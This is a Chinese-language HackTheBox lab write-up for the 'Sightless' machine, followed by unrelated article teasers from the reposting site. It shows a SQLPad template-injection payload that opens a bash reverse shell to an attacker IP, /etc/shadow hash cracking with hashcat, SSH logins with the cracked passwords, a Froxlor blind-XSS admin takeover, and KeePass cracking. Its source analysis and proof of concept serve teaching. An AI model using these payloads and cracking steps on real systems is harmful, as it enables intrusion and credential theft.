HackTheBox靶机:Sightless;NodeJS模板注入漏洞,盲XSS跨站脚本攻击漏洞实战

HackTheBox靶机:Sightless

    • 渗透过程
      • 1. 信息收集
        • 常规探测
        • 深入分析
      • 2. 漏洞利用(CVE-2022-0944)
      • 3. 从Docker中提权
      • 4. 信息收集(michael用户)
      • 5. 漏洞利用 Froxlor
      • 6. 解密Keepass文件
    • 漏洞分析
      • SQLPad CVE-2022-0944

靶机介绍
Sightless 是一台难度较低的 Linux 机器,包含一个为公司提供各种服务的网页。对该网页的枚举发现了一个含模板注入漏洞 CVE-2022-0944 的SQLPad实例,利用该漏洞成功进入 Docker 容器。进一步枚举发现 /etc/shadow 文件,其中包含一个密码哈希,经过破解得到密码,从而获得了主机的 SSH 访问权限。在后续的攻击过程中,枚举发现一个受盲目 XSS 漏洞 CVE-2024-34070影响的 Froxlor 实例。利用该漏洞攻击成功后,获取了 FTP 服务的访问权限,该服务包含一个 KeePass 数据库。访问数据库后,发现了 root 用户的 SSH 密钥,从而获得了主机的特权 shell 权限。

相关漏洞

  • 模板注入 CVE-2022-0944
  • XSS 漏洞 CVE-2024-34070

渗透过程

1. 信息收集

常规探测

探测开放端口

nmap -p- --min-rate 10000 10.10.11.32 
...
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-08 14:51 EDT 
Nmap scan report for 10.10.11.32 Host is up (0.023s latency). 
Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 
21/tcp open ftp 
22/tcp open ssh 
80/tcp open http

服务详细信息探测

nmap -p 21,22,80 -sCV 10.10.11.32
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-08 14:54 EDT
Nmap scan report for 10.10.11.32
Host is up (0.024s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings:
|   GenericLines:
|     220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_  256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://sightless.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.94SVN%I=7%D=9/8%Time=66DDF2FD%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,A0,"220\x20ProFTPD\x20Server\x20\(sightless\.htb\x20FTP\x20S
SF:erver\)\x20\[::ffff:10\.10\.11\.32\]\r\n500\x20Invalid\x20command:\x20t
SF:ry\x20being\x20more\x20creative\r\n500\x20Invalid\x20command:\x20try\x2
SF:0being\x20more\x20creative\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

通过nmap的扫描我们可以知道此目标开放了FTP,SSH,Web(http)三个服务,而web的域名是http://sightless.htb/,因此需要配置host文件:

echo '10.10.11.32 sightless.htb' > /etc/hosts
深入分析

FTP服务

ftp sightless.htb 
...
Trying 10.10.11.32:21 ... 
Connected to sightless.htb. 
220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32] 
Name (sightless.htb:oxdf): anonymous 
550 SSL/TLS required on the control channel 
ftp: Login failed

尝试链接后发现需要SSL/TLS,可以通过FileZilla(Linux)来进行连接,我们先将这个放到后面去考虑,因为我们现在没有密码。

Web服务
访问网站首页:
在这里插入图片描述
在经历基本的浏览后,我们可以发现在首页的地方有一处域名的跳转,其域名指向sqlpad.sightless.htb: 在这里插入图片描述

echo '10.10.11.32 sqlpad.sightless.htb' > /etc/hosts

访问后发现其是一个名为sqlpad的后台。
在这里插入图片描述

2. 漏洞利用(CVE-2022-0944)

在此页面浏览发现其版本为:6.10.0
在这里插入图片描述
确定了版本后尝试搜索网络公开的威胁情报,查看是否有公开的RCE漏洞。
在这里插入图片描述
这里可以确定在SQLPad中确实存在RCE漏洞,其漏洞编号为 CVE-2022-0944,通过公开的信息了解到在连接时,可以注入Payload,执行命令。

在这里插入图片描述

  • 点击连接->添加连接
  • 选择MySQL作为驱动程序
  • 在数据库表单字段中输入以下有效负载
  • 执行以下命令确认/tmp/pwn 文件已在容器文件系统中创建

这里我们简单的改造一下Payload来反弹一个bash shell:

{{ process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/10.10.14.10/443 0>&1"') }}

在这里插入图片描述

nc -lnvp 443 
Listening on 0.0.0.0 443 
Connection received on 10.10.11.32 49336 
bash: cannot set terminal process group (1): Inappropriate ioctl for device 
bash: no job control in this shell 
root@c184118df0a6:/var/lib/sqlpad

我们成功获取了一个立足点。

3. 从Docker中提权

初步的信息收集:

root@c184118df0a6:/ ls -a 
. bin docker-entrypoint lib mnt root srv usr 
.. boot etc lib64 opt run sys var 
.dockerenv dev home media proc sbin tmp

通过这里的信息:docker-entrypoint 我们可以基本判断我们处在Docker内。

root@c184118df0a6:/home$ cat /etc/passwd | grep "sh$" 
root:x:0:0:root:/root:/bin/bash 
node:x:1000:1000::/home/node:/bin/bash 
michael:x:1001:1001::/home/michael:/bin/bash

可以发现,这里三个用户已设置 shell ,作为 root 用户我们可以获取其 /etc/passwd,来通过hashcat枚举获取用户密码。

root@c184118df0a6:/home# cat /etc/shadow | grep '\$' 
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7::: 
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::
hashcat hashes ~/SecLists/Passwords/Leaked-Databases/rockyou.txt --user

将其保存为文件hashes,使用hashcat工具穷举密码,等待后成功穷举出密码

$ hashcat hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --user hashcat (v6.2.6) starting in autodetect mode ...[snip]... Hash-mode was not specified with -m. Attempting to auto-detect hash mode. The following mode was auto-detected as the only one matching your input hash: 1800 | sha512crypt $6$, SHA512 (Unix) | Operating System ...[snip]... $6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:blindside $6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:insaneclownposse ...[snip]... Started: Sun Sep 8 22:00:54 2024 Stopped: Sun Sep 8 22:01:00 2024

michael用户的密码是insaneclownposse;其root用户的密码是blindside;尝试使用两个已知的用户和密码登录SSH。使用交叉的方式组合密码和用户名尝试登陆:

sshpass -p 'blindside' ssh root@10.10.11.32
sshpass -p 'blindside' ssh michael@10.10.11.32
sshpass -p 'insaneclownposse' ssh root@10.10.11.32
sshpass -p 'insaneclownposse' ssh root@10.10.11.32
Fly@Kali$ sshpass -p 'insaneclownposse' ssh root@10.10.11.32
Warning: Permanently added 'sightless.htb' (ED25519) to the list of known hosts.
Last login: Tue Sep 3 11:52:02 2024 from 10.11.14.23 
michael@sightless:~$
michael@sightless:~$ cat user.txt 
cb7db915************************

4. 信息收集(michael用户)

我们已经成功登录michael 用户,我们开始继续信息收集,查看是否有运维脚本:

michael@sightless:~$ sudo -l 
[sudo] password for michael: 
Sorry, user michael may not run sudo on sightless.

查看当前目录:

michael@sightless:~$ ls -la 
total 28 
drwxr-x--- 3 michael michael 4096 Jul 31 13:15 . 
drwxr-xr-x 4 root root 4096 May 15 19:03 .. 
lrwxrwxrwx 1 root root 9 May 21 18:49 .bash_history -> /dev/null 
-rw-r--r-- 1 michael michael 220 Jan 6 2022 .bash_logout 
-rw-r--r-- 1 michael michael 3771 Jan 6 2022 .bashrc 
-rw-r--r-- 1 michael michael 807 Jan 6 2022 .profile 
drwx------ 2 michael michael 4096 May 15 03:43 .ssh 
-rw-r----- 1 root michael 33 May 16 00:16 user.txt

查看其他用户:

michael@sightless:/home$ ls 
john michael 
michael@sightless:/home$ ls john/ 
ls: cannot open directory 'john/': Permission denied

查看网络情况

在这里插入图片描述

可以发现目标机器开启了8080端口,我们通过端口转发后尝试访问。

ssh michael@sightless.htb -L 8081:127.0.0.1:8080

浏览器访问:127.0.0.1:8081

在这里插入图片描述

5. 漏洞利用 Froxlor

通过搜索公开情报,使用Froxlor CVE 搜索到了 CVE-2024-34070

Froxlor 是一款开源服务器管理软件。在 ​​2.1.9 之前,Froxlor 应用程序的失败登录尝试日志记录功能中发现了一个存储盲跨站点脚本 (XSS) 漏洞。未经身份验证的用户可以在登录尝试时在 loginname 参数中注入恶意脚本,然后当管理员在系统日志中查看时,该脚本将被执行。通过利用此漏洞,攻击者可以执行各种恶意操作,例如在管理员不知情或未经同意的情况下强迫管理员执行操作。例如,攻击者可以强迫管理员添加由攻击者控制的新管理员,从而​​使攻击者完全控制应用程序。

通过阅读其漏洞信息开始利用:

在这里插入图片描述

在首页登录后使用BurpSuite拦截

![[Pasted image 20250122173734.png]]

loginname 的值替换为Payload,替换前需要修改其提供的Payload(目标要改为http://admin.sightless.htb:8080/admin_admins.php)先将其url解码,修改后再进行编码。

在这里插入图片描述

修改后发送请求:

![[Pasted image 20250122174407.png]]

使用Payload中设置的账号密码登录

![[Pasted image 20250122174637.png]]

找到FTP服务并修改密码

![[Pasted image 20250122174704.png]]

使用FileZilla登录FTP

![[Pasted image 20250122174758.png]]

6. 解密Keepass文件

通过keepass2john提取keepass的hash,并使用hashcat枚举密码:

keepass2john Database.kdb > Database.kdb.hash
hashcat Database.kdb.hash ~/SecLists/Passwords/Leaked-Databases/rockyou.txt --user

枚举后获取密码为:bulldogs ,使用kpcli连接数据库:

kpcli --kdb Database.kdb
Provide the master password: ************************* 
KeePass CLI (kpcli) v3.8.1 is ready for operation. 
Type 'help' for a description of available commands. 
Type 'help <command>' for details on individual commands.
kpcli:/> ls 
=== Groups === 
General/ 

探索kdb:

kpcli:/> ls General/ 
=== Groups ===
eMail/ 
Homebanking/ 
Internet/ 
Network/ 
sightless.htb/ 
Windows/
kpcli:/> ls General/* 
/General/eMail:

/General/Homebanking: 

/General/Internet: 

/General/Network: 

/General/sightless.htb: 
=== Groups === 
Backup/ 

/General/Windows:

kpcli:/> ls General/sightless.htb/Backup/ 
=== Entries === 
0. ssh

查看ssh文件的内容:

kpcli:/> show -f General/sightless.htb/Backup/ssh 
Path: /General/sightless.htb/Backup/ 
Title: ssh 
Uname: root 
Pass: q6gnLTB74L132TMdFCpK 
URL: 
Notes: 
Atchm: id_rsa (3428 bytes)

有一个密码和一个附件。attach将打开一个菜单来下载它:

kpcli:/> attach General/sightless.htb/Backup/ssh 
Atchm: id_rsa (3428 bytes) 
Choose: (a)dd/(e)xport/(d)elete/(c)ancel/(F)inish? 
Path to file: /root/htb/sightless/id_rsa
Saved to: /root/htb/sightless/id_rsa 
Atchm: id_rsa (3428 bytes)

使用其登录SSH

因为下载的文件换行符有格式问题,会报错:error in libcrypto,需要修改其格式

登录root

ssh -i ~/htb/sightless/id_rsa root@10.10.11.32 
Last login: Tue Sep 10 01:44:34 2024 from 10.10.14.6 
root@sightless:~& cat root.txt 
22467**********************

漏洞分析

SQLPad CVE-2022-0944

SQLPad 是一款开源 SQL 查询编辑器,在 ​​6.10.1 之前,该漏洞存在于 SQLPad 的 render-connection.js 通过在传输参数中插入恶意代码,攻击者能够注入代码进行命令执行。

源码分析
根据漏洞披露的情报,可以定位到 render-connection.js ,具体的代码如下:

// # server\lib\render-connection.js
function renderConnection(connection, user) {
	const replaced = {};
	Object.keys(connection).forEach((key) => {
		if (key === 'data') {
			const value = renderConnection(connection.data, user);
			connection.data = value;
		} else {
			const value = connection[key];
			if (typeof value === 'string') {
				//设置模板的插值符号 {{ ... }},而不是默认的 <%= ... %>
				_.templateSettings.interpolate = /{{([\s\S]+?)}}/g;
				// 编译模板并替换占位符
				const compiled = _.template(value);
				replaced[key] = compiled({ user });
			} else {
				replaced[key] = value;
			}
		}
	});
	return replaced;
}

通过分析可以得知,这里的模板内容,获取了请求中的数据后,并没有进行清理和过滤,从而导致了模板注入漏洞。下面写一个简单的例子来复现这个代码

const _ = require('lodash');
const user = {name: 'Alice'};
// 设置模板的插值符号 {{ ... }},而不是默认的 <%= ... %>
_.templateSettings.interpolate = /{{([\s\S]+?)}}/g;
// 用户输入的模板内容
// 在这种情况下,用户可以注入恶意代码,执行打开计算器。
const value = "{{ process.mainModule.require('child_process').exec('calc') }}";
// 编译模板并替换占位符
const compiled = _.template(value);
compiled({ user });

当运行这个示例脚本时编译时会触发命令执行,并打开计算器。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/959153.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Qt Creator 15.0.0如何更换主题和字体

1.打开Qt Creator 15.0.0 (Community)&#xff0c; 2.点击编辑栏3.点击Preferences... 4.修改主题&#xff0c;点击环境&#xff0c;修改Theme:栏 5.修改字体大小&#xff0c;点击文本编辑器&#xff0c;修改字号栏。&#xff0c;修改Theme:栏

深度强化学习:PPO

深度强化学习算法&#xff1a;PPO 1. Importance Sampling 先说一下什么是采样&#xff1a;对于一个随机变量&#xff0c;我们通常用概率密度函数来描述该变量的概率分布特性。具体来说&#xff0c;给定随机变量的一个取值&#xff0c;可以根据概率密度函数来计算该值对应的概…

亚博microros小车-原生ubuntu支持系列:11手指控制与手势识别

识别框架还是沿用之前的了MediaPipe Hand。 背景知识不摘重复&#xff0c;参见之前的&#xff1a;亚博microros小车-原生ubuntu支持系列&#xff1a;10-画笔-CSDN博客 手指控制 src/yahboom_esp32_mediapipe/yahboom_esp32_mediapipe/目录下新建文件10_HandCtrl.py&#xff…

OpenCV:在图像中添加高斯噪声、胡椒噪声

目录 在图像中添加高斯噪声 高斯噪声的特性 添加高斯噪声的实现 给图像添加胡椒噪声 实现胡椒噪声的步骤 相关阅读 OpenCV&#xff1a;图像处理中的低通滤波-CSDN博客 OpenCV&#xff1a;高通滤波之索贝尔、沙尔和拉普拉斯-CSDN博客 OpenCV&#xff1a;图像滤波、卷积与…

【模拟集成电路】锁相环(phase-locked loops,PLL)设计_环形振荡器相关(简)

0. 前言 未来将会不定时更新PLL相关的文章&#xff0c;主要目的是作为个人的学习笔记&#xff0c;关于锁相环的基础&#xff0c;可以参考《模拟CMOS集成电路设计_Behzad Razavi》后面几章的内容&#xff0c;下面的文章主要参考书籍是的英文书籍《DESIGN OF CMOS PHASE‑LOCKED …

Qt简单迷宫游戏

目录 你将学到你将准备你将改变你将设计你将编程开始界面游玩界面胜利界面其它bug修复 你可扩展下一篇博客要说的东西 你将学到 Qt中QKeySequence对象的基本创建Qt中QShortcut对象的基本应用Qt中QSoundEffect对象的基本应用 你将准备 在开始制作Qt简单迷宫游戏之前&#xff…

SSM电子商城系统

&#x1f345;点赞收藏关注 → 添加文档最下方联系方式咨询本源代码、数据库&#x1f345; 本人在Java毕业设计领域有多年的经验&#xff0c;陆续会更新更多优质的Java实战项目希望你能有所收获&#xff0c;少走一些弯路。&#x1f345;关注我不迷路&#x1f345; 项目视频 电…

springboot3 集成 knife4j(接口文档)

提示&#xff1a;文章是集成 knife4j&#xff0c;而非 swagger2 或者 swagger3&#xff0c;效果如图 文章目录 前言一、添加依赖二、如何集成1.配置文件2.注解部分1.Tag2.Operation3.Parameter4.Schema 3.使用 总结 前言 提示&#xff1a;&#xff1a;大家在开发阶段&#xff…

亚博microros小车-原生ubuntu支持系列:7-脸部检测

背景知识 官网介绍&#xff1a; Face Mesh - mediapipe mpFaceMesh.FaceMesh() 类的参数有&#xff1a;self.staticMode, self.maxFaces, self.minDetectionCon, self.minTrackCon staticMode:是否将每帧图像作为静态图像处理。如果为 True&#xff0c;每帧都会进行人脸检测…

写作利器:如何用 PicGo + GitHub 图床提高创作效率

你好呀&#xff0c;欢迎来到 Dong雨 的技术小栈 &#x1f331; 在这里&#xff0c;我们一同探索代码的奥秘&#xff0c;感受技术的魅力 ✨。 &#x1f449; 我的小世界&#xff1a;Dong雨 &#x1f4cc; 分享我的学习旅程 &#x1f6e0;️ 提供贴心的实用工具 &#x1f4a1; 记…

thingsboard 动态报警

前言 考虑将报警上下限写入设备属性&#xff0c;设备遥测数据与设备属性实时做报警逻辑。这样做的好处在于&#xff0c;可以动态修改设备属性&#xff0c;进而修改设备报警触发上下限。 1、修改设备属性 基于mq &#xff0c;向设备写入属性。 topic v1/devices/me/attribut…

三、双链表

链表的种类有很多&#xff0c;单链表是不带头不循环单向链表&#xff0c;但双链表是带头循环双向链表&#xff0c;并且双链表还有一个哨兵位&#xff0c;哨兵位不是头节点 typedef int LTDataType;typedef struct ListNode{struct ListNode* next; //指针保存下⼀个结点的地址s…

(算法竞赛)使用广度优先搜索(BFS)解决迷宫最短路径问题

在这个充满奇思妙想的世界里&#xff0c;每一次探索都像是打开了一扇通往新世界的大门。今天&#xff0c;我们将踏上一段特别的旅程&#xff0c;去揭开那些隐藏在代码、算法、数学谜题或生活智慧背后的秘密。&#x1f389;&#x1f60a; 所以&#xff0c;系好安全带&#xff0…

支持大功率输出高速频闪的图像处理用光源控制器

机器视觉系统中的光源控制器在确保图像质量、提高系统稳定性、降低能耗以及方便系统扩展和升级等方面发挥着重要作用。它可提供稳定光源&#xff0c;调节参数&#xff0c;另外具有操作便捷性。 下面我们来看Gardasoft的光源控制器&#xff0c;Gardasoft拥有作为图像处理用LED光…

鸿蒙模块概念和应用启动相关类(HAP、HAR、HSP、AbilityStage、UIAbility、WindowStage、window)

目录 鸿蒙模块概念 HAP entry feature har shared 使用场景 HAP、HAR、HSP介绍 HAP、HAR、HSP开发 应用的启动 AbilityStage UIAbility WindowStage Window 拉起应用到显示到前台流程 鸿蒙模块概念 HAP hap包是手机安装的最小单元&#xff0c;1个app包含一个或…

为什么IDEA提示不推荐@Autowired❓️如果使用@Resource呢❓️

前言 在使用 Spring 框架时&#xff0c;依赖注入&#xff08;DI&#xff09;是一个非常重要的概念。通过注解&#xff0c;我们可以方便地将类的实例注入到其他类中&#xff0c;提升开发效率。Autowired又是被大家最为熟知的方式&#xff0c;但很多开发者在使用 IntelliJ IDEA …

【Uniapp-Vue3】uni-icons的安装和使用

一、uni-icon的安装 进入到如下页面中&#xff0c;点击“点击下载&安装”。 uni-icons 图标 | uni-app官网 点击“下载插件并导入HBuilder”&#xff0c;如果没有登录就登陆一下 网页中会打开Hbuilder&#xff0c;进入Hbuilder以后&#xff0c;选择需要使用该插件的项目进…

论文笔记(六十三)Understanding Diffusion Models: A Unified Perspective(三)

Understanding Diffusion Models: A Unified Perspective&#xff08;三&#xff09; 文章概括 文章概括 引用&#xff1a; article{luo2022understanding,title{Understanding diffusion models: A unified perspective},author{Luo, Calvin},journal{arXiv preprint arXiv:…

群晖docker获取私有化镜像http: server gave HTTP response to HTTPS client].

群晖docker获取私有化镜像提示http: server gave HTTP response to HTTPS clien 问题描述 层级时间用户事件Information2023/07/08 12:47:45cxlogeAdd image from xx.xx.31.240:1923/go-gitea/gitea:1.19.3Error2023/07/08 12:47:48cxlogeFailed to pull image [Get "http…

Charles 4.6.7 浏览器网络调试指南:HTTPS抓包(三)

概述 在现代互联网应用中&#xff0c;网络请求和响应是服务交互的核心。对于开发者和测试人员来说&#xff0c;能够准确捕获并分析这些请求&#xff0c;是保证系统稳定性和性能的关键。Charles作为一个强大的网络调试工具&#xff0c;不仅可以捕获普通的HTTP请求&#xff0c;还…